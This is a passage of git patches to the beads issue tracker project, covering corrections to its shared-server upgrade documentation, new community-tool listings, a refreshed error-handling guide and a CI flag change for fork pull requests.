From 054ae7ac856255d7d85f222e3685f7bc39cddaf9 Mon Sep 17 00:00:00 2001 From: Chris Sells Date: Mon, 5 Oct 2026 21:54:45 -0700 Subject: [PATCH 001/213] docs(upgrading): reads fail too between upgrading clients and migrating a shared server The shared-server upgrade steps said an upgraded client keeps reading the old schema and only has writes refused. In practice most reads fail as well: bd list, bd show and bd ready stop with "table not found: leases" because 1.3 reads expect tables the old schema lacks. Say so, and tell operators to run the migration as soon as the clients are upgraded rather than treating the window as merely degraded. Refs #6929, #7038 --- docs/getting-started/upgrading.md | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/docs/getting-started/upgrading.md b/docs/getting-started/upgrading.md index 634c1ac99..649383129 100644 --- a/docs/getting-started/upgrading.md +++ b/docs/getting-started/upgrading.md @@ -443,8 +443,8 @@ configured, though the two cases consent differently Upgrade one server's clients like this: ```bash -# 1. Upgrade bd on every client of the server. Reads keep working throughout — -# an upgraded client reads the old schema, it just cannot write to it. +# 1. Upgrade bd on every client of the server. Until step 2, an upgraded +# client refuses writes and most reads fail (see below). bd version # on each client, confirm the new version # 2. Once, from a workspace already set up against this server: consent. @@ -454,9 +454,11 @@ bd migrate schema # add --global for the shared global database bd doctor ``` -Between steps 1 and 2, an upgraded client reads normally and its writes are -refused with the gate's guidance. Nothing is silently promoted, so there is no -deadline — but the window is a degraded one, so keep it short. +Between steps 1 and 2, an upgraded client refuses writes with the gate's +guidance, and most reads fail too: `bd list`, `bd show` and `bd ready` stop +with `table not found: leases`, because 1.3 reads expect tables the old schema +lacks. Nothing is silently promoted, so there is no deadline, but nothing works +in that window either, so run step 2 as soon as the clients are upgraded. **If the shared server also has a Dolt remote**, step 2 is not enough. Two hazards now apply at once — the co-resident lockout above and the cross-clone From b1bee123bac111827d15c5cdb427eda9f6c5d229 Mon Sep 17 00:00:00 2001 From: Chris Sells Date: Mon, 5 Oct 2026 21:58:43 -0700 Subject: [PATCH 002/213] docs(upgrading): reads fail too between upgrading clients and migrating a shared server (#7284) The shared-server upgrade steps said an upgraded client keeps reading the old schema and only has writes refused. In practice most reads fail as well: bd list, bd show and bd ready stop with "table not found: leases" because 1.3 reads expect tables the old schema lacks. Say so, and tell operators to run the migration as soon as the clients are upgraded rather than treating the window as merely degraded. Refs #6929, #7038 --- docs/getting-started/upgrading.md | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/docs/getting-started/upgrading.md b/docs/getting-started/upgrading.md index 634c1ac99..649383129 100644 --- a/docs/getting-started/upgrading.md +++ b/docs/getting-started/upgrading.md @@ -443,8 +443,8 @@ configured, though the two cases consent differently Upgrade one server's clients like this: ```bash -# 1. Upgrade bd on every client of the server. Reads keep working throughout — -# an upgraded client reads the old schema, it just cannot write to it. +# 1. Upgrade bd on every client of the server. Until step 2, an upgraded +# client refuses writes and most reads fail (see below). bd version # on each client, confirm the new version # 2. Once, from a workspace already set up against this server: consent. @@ -454,9 +454,11 @@ bd migrate schema # add --global for the shared global database bd doctor ``` -Between steps 1 and 2, an upgraded client reads normally and its writes are -refused with the gate's guidance. Nothing is silently promoted, so there is no -deadline — but the window is a degraded one, so keep it short. +Between steps 1 and 2, an upgraded client refuses writes with the gate's +guidance, and most reads fail too: `bd list`, `bd show` and `bd ready` stop +with `table not found: leases`, because 1.3 reads expect tables the old schema +lacks. Nothing is silently promoted, so there is no deadline, but nothing works +in that window either, so run step 2 as soon as the clients are upgraded. **If the shared server also has a Dolt remote**, step 2 is not enough. Two hazards now apply at once — the co-resident lockout above and the cross-clone From f05b2b0a6ad1aadb3be8052439f903a020320365 Mon Sep 17 00:00:00 2001 From: Chris Sells Date: Tue, 6 Oct 2026 10:56:39 -0700 Subject: [PATCH 003/213] docs: scope the shared-server read failure to pre-1.2.0 schemas; add eight community tools (#7301) * docs(upgrading): scope the shared-server read failure to pre-1.2.0 schemas #7284 said most reads fail between upgrading a shared server's clients and running `bd migrate schema`. That only holds for a schema older than 1.2.0: the leases table ships with main migration 0055 and ignored 0012 and 0016, all in v1.2.0. From 1.2.x, reads keep working and only writes are refused (probed against a 1.2.1 server with 1.3.1 and main builds). Restore the original wording and add the pre-1.2.0 caveat, naming only the observed `bd list` failure from #6929. Refs #6929 * docs: add beads-viewer (Paseo plugin) to community tools Co-Authored-By: Claude Opus 5.5 (cherry picked from commit ad28cf00ba48431ad7c9a0c3e663119cb30f2f27) * Add LazyBeads (lb) to community tools - List lesliesrussell/lazybeads under Terminal UIs - Note that it is unrelated to the earlier lazybeads under Historical Co-Authored-By: Claude Opus 5.5 (cherry picked from commit 1aa2b645e240378e8b5a103f53a90e7563996265) * docs(community-tools): update the beads-web entry Co-Authored-By: Claude Opus 5.5 (cherry picked from commit aa177110b326ccebb8e725aa12ce1a72b3ca3ae0) * docs(community-tools): mention the beads-web tree view Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QebAVaD36wUemAsdBx8wwJ (cherry picked from commit e0eb482a11f461e3bfa46b2c23de1c97d3055dce) * Updated community tools documentation with Beads Tracker Applied changes from BB to 1 file Files modified: - docs/community-tools.md Updated community tools documentation Applied changes from BB to 1 file Files modified: - docs/community-tools.md Updated community tools documentation Applied changes from BB to 1 file Files modified: - docs/community-tools.md (cherry picked from commit 75d0f8de0c2a3181d618ade902c73d929d8be221) * docs: add b9s to community tools (TUI and web UI) (cherry picked from commit 8bb6ab6913d9b29d2cd29a8871ec3d2e1881ce5f) * docs: add btui to community tools (btui-bb2) Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Andreas Dellrud (cherry picked from commit 81da372c63cbbf60995d3865d9077a4a76d76eb3) * docs: mention released btui Beads 1.3 support (btui-0fm) Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Andreas Dellrud (cherry picked from commit 8f27445bee87eb9d17f15f04179ced18f3bd69c0) * docs: add beadside to community tools (cherry picked from commit 2c2cb1fd5c895e3a8733ec8c8762564c8521ab5e) * docs: add Beads for Obsidian to community tools (cherry picked from commit cb82d067d83c9387dcd2e5279c73030969090a5f) --------- Co-authored-by: cuongntr Co-authored-by: Claude Opus 5.5 Co-authored-by: Leslie Russell Co-authored-by: weselow <598746@gmail.com> Co-authored-by: Beyond Better Co-authored-by: vanderheijden86 Co-authored-by: Andreas Dellrud Co-authored-by: michal.psencik Co-authored-by: Rome-1 --- docs/community-tools.md | 18 +++++++++++++++++- docs/getting-started/upgrading.md | 19 ++++++++++++------- 2 files changed, 29 insertions(+), 8 deletions(-) diff --git a/docs/community-tools.md b/docs/community-tools.md index 13ee5b828..6b4477e7f 100644 --- a/docs/community-tools.md +++ b/docs/community-tools.md @@ -18,6 +18,12 @@ A curated list of community-built UIs, extensions, and integrations for Beads. R - **[beady-eye](https://github.com/CodeForBreakfast/beady-eye)** - Live terminal viewer that follows agents as they work through a tree of beads, redrawing as they claim and finish them. Integrates with [herdr](https://herdr.dev), and watches several projects at once. Read-only. Built by [@GraemeF](https://github.com/GraemeF). (Rust) +- **[LazyBeads](https://github.com/lesliesrussell/lazybeads)** (`lb`) - Terminal operator console that ranks ready work, explains why each bead is ready, and claims, closes and links beads with confirmation. The TUI and `lb status --watch` follow the events journal and redraw as agents change beads; on Dolt-server workspaces it uses `bd serve`, and the `bd` CLI otherwise. Not related to the earlier lazybeads listed under Historical. Built by [@lesliesrussell](https://github.com/lesliesrussell). (Go) + +- **[b9s](https://github.com/vanderheijden86/b9s)** - Keyboard-driven terminal UI for Beads, modelled on k9s: issue tree, a list of the latest changes, and a kanban board with epic swimlanes, all updating live as you and your agents work. The same app runs in a desktop or phone browser with full feature parity (see Web UIs). Live demo at [demo.b9s.osen.co](https://demo.b9s.osen.co). Built by [@vanderheijden86](https://github.com/vanderheijden86). (Go) + +- **[btui](https://github.com/AndreasDellrud/beads-tui)** - Read-only terminal browser with active, ready, and closed views, filtering, keyboard and mouse navigation, and issue details with comments and dependency relationships. Launches Codex or Claude Code sessions for selected work, with optional [Herdr](https://herdr.dev) worktree integration. Reads through the installed `bd --readonly` CLI. Supports Beads 1.3.0 with optional event-triggered refresh, retaining polling fallback for older versions and unjournaled changes. Built by [@AndreasDellrud](https://github.com/AndreasDellrud). (Rust/Ratatui) + ## Web UIs - **[bd-board](https://github.com/jeanpfs/bd-board)** - Local-first web dashboard for browsing Beads projects, viewing kanban boards by status or epic swimlanes, and filtering by priority, text search, or sort order. Uses the `bd` CLI for Dolt compatibility, with writes disabled unless explicitly enabled. Built by [@jeanpfs](https://github.com/jeanpfs). (TanStack Start/React) @@ -26,7 +32,7 @@ A curated list of community-built UIs, extensions, and integrations for Beads. R - **[BeadBoard](https://github.com/zenchantlive/beadboard)** - Multi-agent orchestration and communication system with a live dashboard. Agent-to-agent messaging (HANDOFF/BLOCKED/DECISION/INFO), DAG dependency graph, swarm coordination with archetypes and templates, scope-based work reservations, and an embedded execution runtime (bb-pi) built on [Pi](https://github.com/badlogic/pi-mono) that spawns typed worker agents. Cross-platform (macOS, Linux, Windows). Includes the `beadboard-driver` skill for agent integration (`npx skills add zenchantlive/beadboard --skill beadboard-driver`). Built by [@zenchantlive](https://github.com/zenchantlive). (Next.js/TypeScript) -- **[beads-web](https://github.com/weselow/beads-web)** - Actively maintained fork of beads-kanban-ui. Cross-platform single-binary distribution (macOS, Linux, Windows), 7 visual themes, Dolt direct SQL integration, Windows multi-drive path support, drag-and-drop status updates. Download from [GitHub Releases](https://github.com/weselow/beads-web/releases). Built by [@weselow](https://github.com/weselow). (TypeScript/Rust) +- **[beads-web](https://github.com/weselow/beads-web)** - Actively maintained fork of beads-kanban-ui. Multi-project Kanban board plus a tree view of milestones, epics, tasks and subtasks at any depth, 11 themes. Live updates follow the `bd events` journal on embedded workspaces (bd 1.3.0+); server-mode workspaces are read directly from Dolt over SQL. Single binary for macOS, Linux and Windows, also via Scoop, Homebrew, winget and Nix. Download from [GitHub Releases](https://github.com/weselow/beads-web/releases). Built by [@weselow](https://github.com/weselow). (TypeScript/Rust) - **[Bead Me Up, Scotty](https://github.com/brendan-appstart/bead-me-up-scotty)** - Polished multi-project web UI for creating, updating, and prioritizing beads across all your repos from one place. Kanban board with drag-and-drop status changes and reordering, plus list, epics (with progress bars), and dependency-graph views; faceted filtering and full-text search; live updates via SSE that react the moment `.beads/` changes; and human-vs-agent attribution throughout. Uses the `bd` CLI for full Dolt compatibility. Global install (`scotty`) opens the current directory's project in your browser, and a built-in Publish view generates a shareable static showcase site from your beads. Live demo at [beadmeupscotty.com](https://beadmeupscotty.com). Built by [@brendan-appstart](https://github.com/brendan-appstart). (Next.js/TypeScript) @@ -34,6 +40,10 @@ A curated list of community-built UIs, extensions, and integrations for Beads. R - **[beadcyte](https://gitlab.com/incytestudios/beadcyte)** - Local web app that draws two things that look alike and are not: what happened, which is measured, and what it expects to happen, which is a model's opinion. Three models drive the projection — a historical-median duration estimator, a greedy WIP-cap scheduler calibrated against your real throughput, and an eight-signal triage score — each shown with its own uncertainty rather than a flat number. Views for what to do next, the team's frontier, what-if plan diffs, and cost per week; a single self-contained SVG export with no server (`beadcyte --out gantt.svg`); and a changelog generated from closed beads that carry ship evidence. Reads and writes through the `bd` CLI (`bd list --all --json`, `bd show`, `bd history`); `beadcyte freeze` additionally reads the embedded Dolt database directly (read-only, opt out with `--no-dolt`) — never `.beads/issues.jsonl`. Run with `npx beadcyte start`. Built by [Incyte Studios](https://incytestudios.com) ([@treystout](https://github.com/treystout)). (Node.js/Vue) +- **[b9s web](https://github.com/vanderheijden86/b9s)** - The b9s terminal UI (see Terminal UIs) in your browser, with full feature parity: tree, kanban board, search and editing, all updating live. Responsive from a phone screen to a wide desktop board with drag-and-drop. Live demo at [demo.b9s.osen.co](https://demo.b9s.osen.co). Built by [@vanderheijden86](https://github.com/vanderheijden86). (Go) + +- **[beadside](https://github.com/thatmike1/beadside)** - Local web reader and inbox between you and your agents. A dense index groups beads into lanes by your own labels, with a waiting-on-you section first, and the selected bead stays open beside it with its description, notes and comment thread rendered as Markdown. Notes you write land as comments under your own author id and can flag the bead so the next agent session reads them first. Live updates follow `bd events tail --follow` when the events journal is on, with polling as the fallback. Full-text search over ids, titles, descriptions, notes and comments, also available to agents as `beadside search --json`. Uses the `bd` CLI for every read and write. Built by [@thatmike1](https://github.com/thatmike1). (TypeScript/React) + ## Editor Extensions - **[vscode-beads](https://marketplace.visualstudio.com/items?itemName=planet57.vscode-beads)** - VS Code extension with issues panel and server management. Built by [@jdillon](https://github.com/jdillon). (TypeScript) @@ -49,6 +59,10 @@ A curated list of community-built UIs, extensions, and integrations for Beads. R - **[beads-manager](https://plugins.jetbrains.com/plugin/30089-beads-manager)** - Jetbrains IDE plugin to manage and view bead details. Maintained by [@developmeh](https://github.com/developmeh). (Kotlin) +- **[beads-viewer](https://github.com/cuongntr/paseo-beads-viewer)** - Read-only Beads console for [Paseo](https://paseo.sh) workspaces: progress per parent issue, ready and waiting work, the critical dependency chain, a whole-project board, issue search and detail, and a composer attachment source for issues. Follows `bd` changes live through the events journal when it is turned on. Reads through `bv` and the `bd`/`br` CLI, never writes. Install with `paseo plugin install beads-viewer`. Built by [@cuongntr](https://github.com/cuongntr). (TypeScript/React Native) + +- **[Beads for Obsidian](https://github.com/Rome-1/obsidian-beads)** - Obsidian plugin with a tabbed Ready / In progress / Blocked / Closed pane, beads that open and save like notes, and live `beads` query blocks inside any note. With the 1.3 events journal on, it follows `bd events tail` and updates the moment a bead changes; it asks before turning the journal on, and otherwise polls. Reads and writes only through the `bd` CLI. Built by [@Rome-1](https://github.com/Rome-1). (TypeScript) + ## Native Apps - **[Beads Task-Issue Tracker](https://github.com/w3dev33/beads-task-issue-tracker)** - Cross-platform desktop application (macOS, Windows, Linux) for browsing, creating, and managing Beads issues with a visual interface. Features multi-project support with favorites, image attachments, dashboard with statistics, advanced filtering, and dark/light theme. Built by [@w3dev33](https://github.com/w3dev33). (Tauri/Vue) @@ -59,6 +73,8 @@ A curated list of community-built UIs, extensions, and integrations for Beads. R - **[Beadazzle](https://github.com/Mosnar/beadazzle)** - Fully native, fully open-source macOS app (SwiftUI, macOS 14+) for browsing and managing Beads issues, tuned for large embedded-mode projects. Unlike the Tauri-based clients, it's built directly on SwiftUI/AppKit for a fast, dense, Linear-inspired desktop UI. Features a sidebar/list/detail layout with outline mode, search, filtering, sorting, and multi-selection; full detail editing with rich Markdown editing and live preview (title, description, design, acceptance criteria, notes, labels, status, priority, assignee, dates); a dedicated gate queue with approve/reject and gate-aware blockers; parent/sub-issue hierarchies with breadcrumbs and inline child creation; fast dependency pickers with quick-create; and a project storage view for Dolt remote health, explicit pull/push, and snapshot freshness. Requires a current Dolt-backed project in embedded, server, or shared-server mode, resolved through `bd context` — legacy SQLite-backed projects are intentionally unsupported. Reads by asking `bd export` for a readable JSONL snapshot in the tracker directory `bd` reports — creating one if none exists, and re-exporting after mutations and manual refreshes — then indexes it in memory for responsive navigation; all writes route through `bd` to preserve Beads hooks, history, and validation. Zero telemetry, analytics, or crash reporting — everything stays local on your machine. Ships as a signed and notarized DMG with Sparkle auto-updates. Built by [@Mosnar](https://github.com/Mosnar). (Native macOS/SwiftUI) +- **[Beads Tracker](https://github.com/cngarrison/beads-tracker)** - Native macOS app (SwiftUI), multi-window with one project per window, for creating and browsing Beads issues without touching the CLI. A create form mirrors `bd create-form` (title, description, type, priority, assignee, labels, external reference, design notes, acceptance criteria, dependencies), plus a live issues list with status indicators, priority badges, and one-click ID copying. Works with both embedded and server-mode Dolt projects. Persistent repo selection across launches. Built and released via GitHub Actions as a signed and notarized DMG — download, mount, drag to Applications, and run, with no Gatekeeper warnings. Deliberately minimal by design — no Xcode project, Swift Package Manager manifest, or third-party dependencies, just a single `swiftc` invocation in the `Makefile` — keeping the codebase small enough for an AI coding agent to pick up and ship a contribution without first onboarding onto a large project. Built by [@cngarrison](https://github.com/cngarrison). (Swift/SwiftUI) + ## Data Source Middleware - **[stringer](https://github.com/davetashner/stringer)** - Codebase archaeology CLI that mines git repos for TODOs, churn hotspots, lottery-risk files, dependency health, and more. Outputs JSONL compatible with `bd init --from-jsonl`. Install with `brew install davetashner/tap/stringer`. Built by [@davetashner](https://github.com/davetashner). (Go) diff --git a/docs/getting-started/upgrading.md b/docs/getting-started/upgrading.md index 649383129..daa058bed 100644 --- a/docs/getting-started/upgrading.md +++ b/docs/getting-started/upgrading.md @@ -443,8 +443,9 @@ configured, though the two cases consent differently Upgrade one server's clients like this: ```bash -# 1. Upgrade bd on every client of the server. Until step 2, an upgraded -# client refuses writes and most reads fail (see below). +# 1. Upgrade bd on every client of the server. Reads keep working throughout — +# an upgraded client reads the old schema, it just cannot write to it +# (unless the server predates 1.2.0; see below). bd version # on each client, confirm the new version # 2. Once, from a workspace already set up against this server: consent. @@ -454,11 +455,15 @@ bd migrate schema # add --global for the shared global database bd doctor ``` -Between steps 1 and 2, an upgraded client refuses writes with the gate's -guidance, and most reads fail too: `bd list`, `bd show` and `bd ready` stop -with `table not found: leases`, because 1.3 reads expect tables the old schema -lacks. Nothing is silently promoted, so there is no deadline, but nothing works -in that window either, so run step 2 as soon as the clients are upgraded. +Between steps 1 and 2, an upgraded client reads normally and its writes are +refused with the gate's guidance. Nothing is silently promoted, so there is no +deadline — but the window is a degraded one, so keep it short. + +If the server's schema predates 1.2.0 (an upgrade from 1.1.x or earlier), +reads can fail too until step 2: `bd list` stops with +`table not found: leases` +([#6929](https://github.com/gastownhall/beads/issues/6929)). Run step 2 as +soon as the clients are upgraded. **If the shared server also has a Dolt remote**, step 2 is not enough. Two hazards now apply at once — the co-resident lockout above and the cross-clone From c33d30aa1019032c8fdac461eeddd28c723413d4 Mon Sep 17 00:00:00 2001 From: Chris Sells Date: Tue, 6 Oct 2026 11:42:52 -0700 Subject: [PATCH 004/213] docs(upgrading): key the shared-server read failure to schema v53, not release 1.2.0 (#7310) #7301 scoped the pre-migration read failure on a shared server to schemas that "predate 1.2.0". That misses 1.2.2, the recovery re-release of the 1.1 line: its migrations stop at 0053 with no lease migrations, so a 1.2.2 server sits at v53 like 1.1.x. Upgrading such a server's clients to 1.3.1 without `bd migrate schema` makes `bd list`, `bd show` and `bd ready` fail with `table not found: leases`. Key the caveat to schema v53 or older, naming 1.1.x and 1.2.2, which matches the section's own "A 1.2.2 or 1.1.x database sits at schema v53". Refs #6929, #7284, #7301 --- docs/getting-started/upgrading.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/getting-started/upgrading.md b/docs/getting-started/upgrading.md index daa058bed..da9c5330e 100644 --- a/docs/getting-started/upgrading.md +++ b/docs/getting-started/upgrading.md @@ -445,7 +445,7 @@ Upgrade one server's clients like this: ```bash # 1. Upgrade bd on every client of the server. Reads keep working throughout — # an upgraded client reads the old schema, it just cannot write to it -# (unless the server predates 1.2.0; see below). +# (unless the server's schema is v53 or older; see below). bd version # on each client, confirm the new version # 2. Once, from a workspace already set up against this server: consent. @@ -459,8 +459,8 @@ Between steps 1 and 2, an upgraded client reads normally and its writes are refused with the gate's guidance. Nothing is silently promoted, so there is no deadline — but the window is a degraded one, so keep it short. -If the server's schema predates 1.2.0 (an upgrade from 1.1.x or earlier), -reads can fail too until step 2: `bd list` stops with +If the server's schema is v53 or older (1.1.x, or 1.2.2, the re-release of +the 1.1 line), reads can fail too until step 2: `bd list` stops with `table not found: leases` ([#6929](https://github.com/gastownhall/beads/issues/6929)). Run step 2 as soon as the clients are upgraded. From 800d43eb8d6eaf372347fbbdda9c4c366c2b6c94 Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 12:46:26 -0700 Subject: [PATCH 005/213] docs(engdocs): re-review ERROR_HANDLING.md against cmd/bd and refresh its marker (#7267) The Last reviewed marker (2026-07-07) passed the 90-day limit in scripts/check-doc-freshness.sh at 2026-10-06 00:00 UTC, so the required "Check doc flags freshness" job fails on every PR and merge-group run (#7266). Re-reviewed against cmd/bd at e72cd8b31 and corrected what had drifted: - createConfigYaml takes three arguments. - cmd/bd/sync.go has no warning or ignored-error sites any more; its citations are gone. Line-number citations into init.go and create.go no longer matched and are replaced by search strings. - internal/syncbranch was removed with the sync-branch pipeline; the syncbranch.Set example and the sync.branch bullet are gone. - No code writes last_import_hash; the tracking-metadata examples now show the bd_version write (SetLocalMetadata) and verifyMetadata as init.go has them. - CheckReadonly also exits ExitMigrationFrozen under a migration freeze. - HandleProxyCapabilityError is added to the helper list. Fixes #7266 Co-authored-by: Claude Fable 5.1 --- engdocs/ERROR_HANDLING.md | 56 +++++++++++++++++---------------------- 1 file changed, 25 insertions(+), 31 deletions(-) diff --git a/engdocs/ERROR_HANDLING.md b/engdocs/ERROR_HANDLING.md index e394c8c02..37ebbaccd 100644 --- a/engdocs/ERROR_HANDLING.md +++ b/engdocs/ERROR_HANDLING.md @@ -1,6 +1,6 @@ # Error Handling Guidelines -Last reviewed: 2026-07-07 +Last reviewed: 2026-10-05 Freshness source: `cmd/bd/*.go`, especially command error exits and JSON error helpers in `cmd/bd/errors.go`. @@ -47,7 +47,8 @@ every `defer`), and `main()` maps the sentinel to exit code 1. **Narrow exceptions still using `os.Exit`:** process-level gates that run before or outside the `RunE` error path — e.g. `CheckReadonly`, which aborts a blocked -command after flushing metrics first. A handful of pre-existing direct +command after flushing metrics first (exit 1 in read-only mode, +`ExitMigrationFrozen` under a migration freeze). A handful of pre-existing direct `os.Exit(1)` calls also remain inside handler bodies; new command code should return a `HandleError*` value instead of adding more. @@ -67,7 +68,7 @@ return a `HandleError*` value instead of adding more. **Example:** ```go -if err := createConfigYaml(beadsDir, false); err != nil { +if err := createConfigYaml(beadsDir, false, ""); err != nil { fmt.Fprintf(os.Stderr, "Warning: failed to create config.yaml: %v\n", err) // Non-fatal - continue anyway } @@ -80,10 +81,9 @@ if err := createConfigYaml(beadsDir, false); err != nil { - Core functionality still works **Files using this pattern:** -- `cmd/bd/init.go` (lines 155-157, 161-163, 167-169, 188-190, 236-238, 272-274, etc.) -- `cmd/bd/sync.go` (lines 156, 257, 281, 329, 335, 720-722, 740, 743, 752, 762) -- `cmd/bd/create.go` (lines 333-334, 340-341) -- `cmd/bd/sync.go` *(handles Dolt sync operations)* +- `cmd/bd/init.go` — search for `"Warning: failed` (config.yaml, `.gitignore`, + git exclude, and tracking-metadata writes) +- `cmd/bd/create.go`, `cmd/bd/gc.go` — search for `WarnError(` --- @@ -107,9 +107,7 @@ _ = os.Remove(tempPath) - Primary error already reported **Files using this pattern:** -- `cmd/bd/init.go` (line 209, 326-327) -- `cmd/bd/sync.go` (lines 696-698) -- `cmd/bd/sync.go` *(sync cleanup)* +- `cmd/bd/init.go` — search for `_ = store.Close()` - Dozens of other locations throughout the codebase --- @@ -166,7 +164,7 @@ if err != nil { ### Creating Auxiliary Config Files → Pattern B (Warn) ```go -if err := createConfigYaml(localBeadsDir, false); err != nil { +if err := createConfigYaml(localBeadsDir, false, ""); err != nil { fmt.Fprintf(os.Stderr, "Warning: failed to create config.yaml: %v\n", err) // Non-fatal - continue anyway } @@ -186,8 +184,8 @@ defer func() { ### Optional Metadata Updates → Pattern B (Warn) ```go -if err := store.SetMetadata(ctx, "last_import_hash", currentHash); err != nil { - fmt.Fprintf(os.Stderr, "Warning: failed to update last_import_hash: %v\n", err) +if err := store.SetLocalMetadata(ctx, "bd_version", Version); err != nil { + fmt.Fprintf(os.Stderr, "Warning: failed to write bd_version local metadata: %v\n", err) } ``` @@ -205,7 +203,7 @@ if err := store.CreateIssue(ctx, issue, actor); err != nil { ```go // BAD: Same type of operation handled differently -if err := createConfigYaml(dir, false); err != nil { +if err := createConfigYaml(dir, false, ""); err != nil { fmt.Fprintf(os.Stderr, "Warning: %v\n", err) // Warns } if err := createReadme(dir); err != nil { @@ -216,7 +214,7 @@ if err := createReadme(dir); err != nil { ```go // GOOD: Consistent pattern for similar operations -if err := createConfigYaml(dir, false); err != nil { +if err := createConfigYaml(dir, false, ""); err != nil { fmt.Fprintf(os.Stderr, "Warning: failed to create config.yaml: %v\n", err) } if err := createReadme(dir); err != nil { @@ -285,15 +283,10 @@ defer store.Close() if err := store.SetConfig(ctx, "issue_prefix", prefix); err != nil { return HandleError("failed to set issue prefix: %v", err) } - -if err := syncbranch.Set(ctx, store, branch); err != nil { - return HandleError("failed to set sync branch: %v", err) -} ``` **Examples:** - `issue_prefix` - Defines how all issue IDs are generated -- `sync.branch` - Critical for git synchronization workflow **Rationale:** These settings are prerequisites for basic operation. Without them, the system cannot function correctly. A failure here indicates a serious problem (e.g., filesystem issues, database corruption). @@ -303,28 +296,25 @@ Tracking metadata **enhances functionality** but the system works without it: ```go // Pattern B: Warn and continue -if err := store.SetMetadata(ctx, "bd_version", Version); err != nil { - fmt.Fprintf(os.Stderr, "Warning: failed to store version metadata: %v\n", err) +// bd_version is clone-local state, so it goes through SetLocalMetadata. +if err := store.SetLocalMetadata(ctx, "bd_version", Version); err != nil { + fmt.Fprintf(os.Stderr, "Warning: failed to write bd_version local metadata: %v\n", err) // Non-fatal - continue anyway } -if err := store.SetMetadata(ctx, "repo_id", repoID); err != nil { - fmt.Fprintf(os.Stderr, "Warning: failed to set repo_id: %v\n", err) -} - -if err := store.SetMetadata(ctx, "last_import_hash", hash); err != nil { - fmt.Fprintf(os.Stderr, "Warning: failed to update last_import_hash: %v\n", err) +// verifyMetadata writes the field, reads it back, and warns on failure. +if verifyMetadata(ctx, store, "repo_id", repoID) && !quiet { + fmt.Printf(" Repository ID: %s\n", repoID[:8]) } ``` **Examples:** - `bd_version` - Enables version mismatch warnings on upgrades - `repo_id` / `clone_id` - Helps with collision detection across clones -- `last_import_hash` - Optimizes staleness detection (falls back to mtime if unavailable) **Rationale:** System degrades gracefully if tracking metadata is unavailable. Core functionality (creating issues, importing data) still works. Failures here might indicate temporary issues (e.g., read-only filesystem) that shouldn't block the entire operation. -**See also:** `cmd/bd/init.go` lines 206-272 for detailed inline documentation of this distinction. +**See also:** the `CONFIGURATION METADATA` and `TRACKING METADATA` comment blocks in `cmd/bd/init.go` for inline documentation of this distinction. ### File Permission Errors @@ -378,6 +368,11 @@ func HandleErrorWithHintRespectJSON(message, hint string) error // Exit 1 with no message, when the error was already reported func SilentExit() error +// Proxied-server capability refusals: a nil error passes through as nil, a +// *ProxyCapabilityError is rendered (JSON-aware) with its own exit code, and +// any other error falls back to HandleErrorRespectJSON +func HandleProxyCapabilityError(err error) error + // Pattern B — prints "Warning: ..." to stderr and returns nothing func WarnError(format string, args ...interface{}) ``` @@ -393,4 +388,3 @@ func WarnError(format string, args ...interface{}) - `cmd/bd/errors.go` - The `HandleError*` / `WarnError` / `SilentExit` helpers and the `exitError` sentinel that `main()` maps to an exit code - `cmd/bd/defer.go` - Clean example of Pattern A: `return HandleError(...)` from a `RunE` with `SilenceUsage`/`SilenceErrors` set - `cmd/bd/init.go` - Examples of all three patterns -- `cmd/bd/sync.go` - Examples of Pattern B for metadata operations and Pattern C for cleanup operations From 68d8cf99c0c487a21b1cce39e5818310d6fce486 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 6 Oct 2026 20:51:59 +0000 Subject: [PATCH 006/213] ci(bazel): cover fork and Dependabot PRs with the Bazel lanes (BAZEL_COVERS_FORKS=true) (#7315) Fork and Dependabot PRs ran both stacks: the legacy embedded, proxied, server-storage and PR-lane tiers plus the Bazel lanes, which rbe-fork has executed remotely (fork-ro/fork-rw) since the canary ended. Flip the committed flag in pr.yml and pr-risk.yml so bazel-coverage retires those tiers for forks too. A covered run the mint does not serve (mode cache) already turns CI Gate / Required red with a re-run message; it never falls back silently. Refs ga-96smfk.15 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/pr-risk.yml | 12 ++++++++---- .github/workflows/pr.yml | 12 ++++++++---- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 3 ++- 3 files changed, 18 insertions(+), 9 deletions(-) diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index 516e8508a..a8c56606e 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -42,10 +42,14 @@ env: # flags above then retire their legacy tiers too): rbe-west's mint # (rbe-fork) gives their Bazel lanes remote execution, instance oss-fork # or, for allowlisted authors, oss, and a run the mint does not serve - # (mode cache) is red. "false": they keep the legacy tiers, and the Bazel - # lanes run remotely beside them whenever rbe-fork is open (bazel.yml - # modes fork-ro/fork-rw), else locally with the read-only cache as before. - BAZEL_COVERS_FORKS: "false" + # (mode cache) is red, never a silent fall back to the legacy tiers. + # "false": they keep the legacy tiers, and the Bazel lanes run remotely + # beside them whenever rbe-fork is open (bazel.yml modes + # fork-ro/fork-rw), else locally with the read-only cache as before. + # "true" since ga-96smfk.15: after the canary every fork and Dependabot + # run took fork-ro/fork-rw (none fell to cache). Rollback if the mint + # becomes unreliable: commit "false" in both workflows. + BAZEL_COVERS_FORKS: "true" jobs: detect-ci-tier: diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 4adf3084c..1a1fda034 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -55,10 +55,14 @@ env: # flags above then retire their legacy tiers too): rbe-west's mint # (rbe-fork) gives their Bazel lanes remote execution, instance oss-fork # or, for allowlisted authors, oss, and a run the mint does not serve - # (mode cache) is red. "false": they keep the legacy tiers, and the Bazel - # lanes run remotely beside them whenever rbe-fork is open (bazel.yml - # modes fork-ro/fork-rw), else locally with the read-only cache as before. - BAZEL_COVERS_FORKS: "false" + # (mode cache) is red, never a silent fall back to the legacy tiers. + # "false": they keep the legacy tiers, and the Bazel lanes run remotely + # beside them whenever rbe-fork is open (bazel.yml modes + # fork-ro/fork-rw), else locally with the read-only cache as before. + # 